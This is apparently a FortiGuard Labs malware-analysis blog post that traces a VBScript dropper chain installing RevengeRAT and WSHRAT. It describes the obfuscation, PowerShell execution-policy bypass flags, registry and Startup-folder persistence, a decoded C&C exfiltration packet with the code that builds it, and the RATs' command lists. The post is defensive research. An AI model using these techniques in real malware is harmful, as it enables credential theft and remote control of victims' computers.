FortiGuard Labs Threat Research

Double Trouble: RevengeRAT and WSHRAT

By Chris Navarrete and Xiaopeng Zhang | November 13, 2019

A FortiGuard Labs Threat Analysis Report

As part of our continuous malware monitoring, the FortiGuard Labs team recently captured a sample file that our EagleSight Malware Analysis System flagged as suspicious. We also noticed that this malware had a low detection rate on VirusTotal. Only 8 out of 57 security vendors detected it at that time when we started the analysis. As a result, we decided to perform a manual analysis on it, and we discovered that the file was designed to drop malware. We then found it dropping both RevengeRAT and WSHRAT.

First Stage – Launcher/Dropper

When opening the sample file, which contained JavaScript code in a text editor, we could see that it contained URL-encoded data. Once it’s decoded, we were able to uncover VBScript code. The author of this malware used simple character replacement when calling the “Chr()” function in an attempt to hide the actual strings (“shell.application” and “cmd /c cd %temp%”, respectively).

Figure 1 – VBScript Code

The objectives of the VBScript code are as follows:

  1. Create a new Shell.Application object
  2. Call the ShellExecute() function, which eventually generates a new file with the hardcoded filename of “A6p.vbs”
  3. Execute the newly-created script file “A6p.vbs”
  4. Pause the CMD command execution for 13 seconds (by calling the timeout.exe program)
  5. Delete the script file “A6p.vbs”
  6. Execute the downloaded script file “Microsoft.vbs”
  7. Close the current/active window
Figure 2 – 1st Stage Launcher/Dropper Execution

Second Stage – Downloader

The purpose of the “A6p.vbs” file is to fetch a resource (an additional VBScript) from an external website. The code uses obfuscated strings, presumably to avoid detection. The malware writer then uses a function (H9a) to reveal those strings. This is used for both creating objects (MSXML2.XMLHTTP and ADODB.STREAM) and getting regular strings, such as MICROSOFT.VBS.

Script Analysis (MICROSOFT.VBS)

Once the script “A6p.vbs” is executed, it downloads the script file “Microsoft.vbs” from its remote server.

Figure 3 –Downloader Script (A6p.vbs)

The file is saved as “MICROSOFT.VBS” in the %TEMP% folder. The VBScript code is composed with a main class called “th3m41n”, using three methods (“dugh41r”, “t01l3t”, and “b3st1n”). The purpose of the entire code of “MICROSOFT.VBS” is to reconstruct an XML-based structure by invoking the creation of a Microsoft.XMLDOM object, passing it through decoding layers between the different class methods, and finally executing the base64-encoded data by making a final call to the VBScript’s “ExecuteGlobal()” function.

Figure 4 – MICROSOFT.VBS and its decoded Base64 data

Script Analysis (MICROSOFT.VBS – Decoded Base64 Data)

The script makes use of two functions: writeBytes() – which creates an ADODB.Stream object to write binary data into a given file for an arbitrary number of bytes, and decodebase64() – which creates a Microsoft.XMLDOM object to create a temporary XML element to store base64-encoded data and then eventually decode it. 

Figure 5 – writeBytes() and decodebase64() functions

The most notable data holders are two local variables. One, named “longText1”, contains base64-encoded VBScript data, which is a partial copy of “MICROSOFT.VBS” since the base64 data (line 32) differs from the downloaded file. Another variable is named “H”, which holds the data of a .NET assembly executable. It is also apparent that malware writers added garbage code in an attempt to delay analysis.

Once the aforementioned code is executed, it creates a new WScript.Shell object and collects OS environment and hardcoded data, which will eventually end in running the newly created script (GXxdZDvzyH.vbs) by calling the VBScript interpreter with the “//B” parameter. This enables “batch-mode” and disables any potential warnings or alerts that can occur during execution. 

Figure 6 – GXxdZDvzyH.vbs generation and execution

We will discuss the characteristics and actions performed by this sample further in this blog post.

During the script’s execution, a new key is added into the Windows Registry (HKCU\Microsoft \Software\Microsoft) called “microsoft”, which stores arbitrarily malformed base64-encoded data. This data will be fixed later using a PowerShell command, and the script’s execution ends by replacing “@” with “0”. 

Figure 7 – Malformed base64 data

Executing Revenge RAT and Persistency

The script properly invokes a number of composed PowerShell commands to bypass the interpreter’s execution policy and to hide its presence, thereby bypassing the “-ExecutionPolicy Bypass -windowstyle hidden -noexit -Command” parameters.

The following table shows the command-line arguments passed to the PowerShell interpreter while the script is in execution, along with the purpose of each argument. 

Connecting to the C&C Server

As mentioned earlier, a new thread was created and a .NET Assembly was loaded and executed.  We managed to dump it from the Windows Registry into an executable (e3edfe91e99ba731e58fc2ad33f2fd11) to provide a better overview of the payload.

The screenshot below shows the basic information of this .exe file.

Figure 8 - Dropped exe file’s basic information

When this sample gets executed in a .NET debugger – dnSpy, its code is not like other malicious software that uses obfuscated code. Instead, its code is very clear and simple.

Once the RAT runs, it connects to two C&C servers, whose IP addresses and Ports are assigned in the main class’ construction function. The IP addresses are “” and “”. The Port numbers are both “5478”. This is a screenshot of that class construction function where several variables are initialized, including the C&C IP address and Port:

Figure 9 - C&C server’s IP address and port number

Just as we started analyzing this malware, unfortunately, the two C&C servers had been shut down. However, the malware kept trying to make connections to the two IP addresses until one connection was established. So to continue to analyze this malware we had to install a fake C&C server using Netcat in the victim machine. To do that, we also modified the C&C server IP address as “” at the moment it connected. 

Figure 10 – The C&C server’s changed IP address

Reporting the Collected Information

Once the connection to the C&C server is established, it collects information from the victim’s system that will be sent to its server. From our analysis, each packet between the victim and server consists of several parts, which are: magic string command, data fields corresponding to the command, a separator, and end magic string.  

“achillepower” is defined as separator to split each data in a packet.

“*-]NK[-*” is defined as packet end magic string.

Now, let’s examine the first packet containing what the malware was able to collect from the victim’s system.

InformationachillepowerSG91c2U=achillepowerXzU4MUYxMDkzachillepower10.0.2.15achillepowerTTBZ VEVTMEVOVi1QQyAvIE0wWVRlczBFbnY=achillepowerNoachillepowerTWljcm9zb2Z0IFdpbmRvd3MgNyB VbHRpbWF0ZSAgMzI=achillepowerSW50ZWwoUikgQ29yZShUTSkgaTctNjcwMCBDUFUgQCAzLjQwR0h6 achillepower3757629440achillepowerTWljcm9zb2Z0IFNlY3VyaXR5IEVzc2VudGlhbHM=achillepowerTi9B achillepower5478achillepowerZG5TcHkgdjYuMC40ICgzMi1iaXQsIC5ORVQgQ29yZSwgRGVidWdnaW5nK Q==achillepowerZW4tVVM=achillepowerFalse*-]NK[-*

As you can easily see, the first packet is split into 15 blocks by the separator. And most of them are base64 encoded. Next, we’ll explain each part and decode the base64 string if needed.

  • Information” is the command magic string, which always is the first part of a packet.
  • SG91c2U=” is decoded as “House”.
  • XzU4MUYxMDkz” is decoded as “_581F1093”, which is the Volume Information.
  •” is the IP address of victim’s machine.
  • TTBZVEVTMEVOVi1QQyAvIE0wWVRlczBFbnY=” is decoded as “M0YTES0ENV-PC / M0YTes0Env”, which is the victim’s machine name and UserName.
  • No” identifies whether the victim has a webcam.
  • TWljcm9zb2Z0IFdpbmRvd3MgNyBVbHRpbWF0ZSAgMzI=” is decoded as “Microsoft Windows 7 Ultimate 32”, which is the victim’s Windows system information.
  • SW50ZWwoUikgQ29yZShUTSkgaTctNjcwMCBDUFUgQCAzLjQwR0h6” is decoded as “Intel(R) Core(TM) i7-6700 CPU @ 3.40GHz”, which is the CPU information.
  • 3757629440” is the total capacity of victim’s physical memory.
  • TWljcm9zb2Z0IFNlY3VyaXR5IEVzc2VudGlhbHM=” is decoded as “Microsoft Security Essentials”, which should be the installed anti-virus product.
  • Ti9B” is decoded as “N/A”, which should be the installed Firewall product.
  • 5478” is the port number of the C&C server it is connecting to.
  • ZG5TcHkgdjYuMC40ICgzMi1iaXQsIC5ORVQgQ29yZSwgRGVidWdnaW5nKQ==” is decoded as “dnSpy v6.0.4 (32-bit, .NET Core, Debugging)”, which is the title of top-most window. As you can see, it is the title of dnSpy debugger, which could be Word, Chrome, etc. on real victim’s system.
  • ZW4tVVM=” is decoded as “en-US”, which is the language used on victim machine.
  • False” is a hard-coded value.

Below is the code snippet used to generate above packet. (Atomic.Key is the separator “achillepower”)

NewLateBinding.LateCall(thisnull"Send"new object[]





rators.ConcatenateObject(Operators.ConcatenateObject("Information" + Atomic.Key + this.ID + Atomic.Keythis.Encode("_" + this.HWD())), At

omic.Key), this.IP()), Atomic.Key), this.Encode(Environment.MachineName + " / " + Environment.UserName)), Atomic.Key), this.CIVC()), Atom

ic.Key), this.Encode(Atomic.DI.OSFullName + " " + Atomic.OP())), Atomic.Key), this.Encode(Conversions.ToString(this.MP()))), Atomic.Key), Ato

mic.DI.TotalPhysicalMemory), Atomic.Key), this.GetProduct("Select * from AntiVirusProduct")), Atomic.Key), this.GetProduct("SELECT * FROM

 FirewallProduct")), Atomic.Key), this.Ports[this.P]), Atomic.Key), this.GAW()), Atomic.Key), this.Encode(CultureInfo.CurrentCulture.Name)), At

omic.Key), "False")

Command & Control

In the .Net code we found a thread function called, which is in charge of handling all received C&C commands. Analyzing this function, we found several command magic strings like “PNC”, “P”, “IE”, “LP”, and “UNV”.

  • The “PNC” command is just like a heartbeat and the malware only sends back “PNC”.
  • The “P” command asks the malware to collect the victim’s top-most window title.
  • The “IE” and “LP” commands ask the malware to manipulate the system registry with given values in the packet.
  • The “UNV” command packet contains a base64-encoded gzip stream that is compressed from a segment of malicious ASM code. Through this command, the attacker can send malicious ASM code to the malware and get the code executed in memory. The screenshot below is a code snippet from processing the “UNV” command, where it compares command strings and performs base64-decoding, gzip stream decompressing as well as loading the ASM code into memory in the function this.LA(). Later, the ASM code is executed in an object that is created by calling the API CreateInstance().
Figure 11 - Code snippet of processing “UNV” command

Executing WSH RAT and Persistency

Script Analysis (GXxdZDvzyH.VBS)

As part of the second stage infection chain, this script gets executed as well, and apparently the malware authors used the same code from MICROSOFT.VBS in the GXxdZDvzyH.vbs script, but a different payload was encoded in base-64. Since this code was already discussed, we will focus on the script, which resides inside the hidden encoded data. 

Figure 12 – Diff between Microsoft.vbs and GXxdZDvzyH.vbs scripts

Script Analysis (GXxdZDvzyH.VBS - DECODED BASE-64)

The new script is version 1.6 of WSH RAT. The code shows a total of 29 functions that perform different tasks, ranging from entrenchment, persistency, and data processing to stealing and exfiltration.

Once the script is executed, it performs security checks through function calls to verify the current user’s rights, and depending on which ones are used, it will remain as is or elevate itself (startupElevate()) to a higher user access level. In addition, a secondary security check is performed to disable (disableSecurity()) the current security context.

Figure 13 – Security check code

This version of WSH RAT focuses on stealing information from popular browsers (i.e., Chrome and Mozilla Firefox), including the newer versions (2.3) by targeting additional software such as FoxMail. While WSH RAT has many features, we will focus on the most important ones, especially those triggered in the current sample.

The script generates a properly formatted HTTP request that contains information related to the infected computer, and uses the “User-Agent:” header as a mechanism to exfiltrate it. This information was fetched by the execution of the “information()” function.

Figure 14 – HTTP POST Request and User-Agent data

The following table shows the data format used in the User-Agent Header, as well as a description of how the data was collected by the script.

To achieve persistency, WSH RAT adds new data into the Windows Registry and also makes a copy of itself in the Windows Startup (“%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup”) folder.

Figure 15 – Added value as Startup application

Also, WSH RAT make use of a total of 26 commands. All of them are self-explanatory:

"disconnect", "reboot", "shutdown", "excecute", "install-sdk", "get-pass", "get-pass-offline", "update", "uninstall", "up-n-exec", "bring-log", "down-n-exec", "filemanager", "rdp", "keylogger", "offline-keylogger", "browse-logs", "cmd-shell", "get-processes", "disable-uac", "check-eligible", "force-eligible", "elevate", "if-elevate", "kill-process", and "sleep".


The VBS downloading URL is rated as “Malicious Websites“ by the FortiGuard Web Filtering service.

The script file and dropped exe file are all detected and blocked by the FortiGuard Antivirus service.


IP Addresses 5478



Sample SHA-256


Learn more about FortiGuard Labs and the FortiGuard Security Services portfolioSign up for our weekly FortiGuard Threat Brief.

Read about the FortiGuard Security Rating Service, which provides security audits and best practices.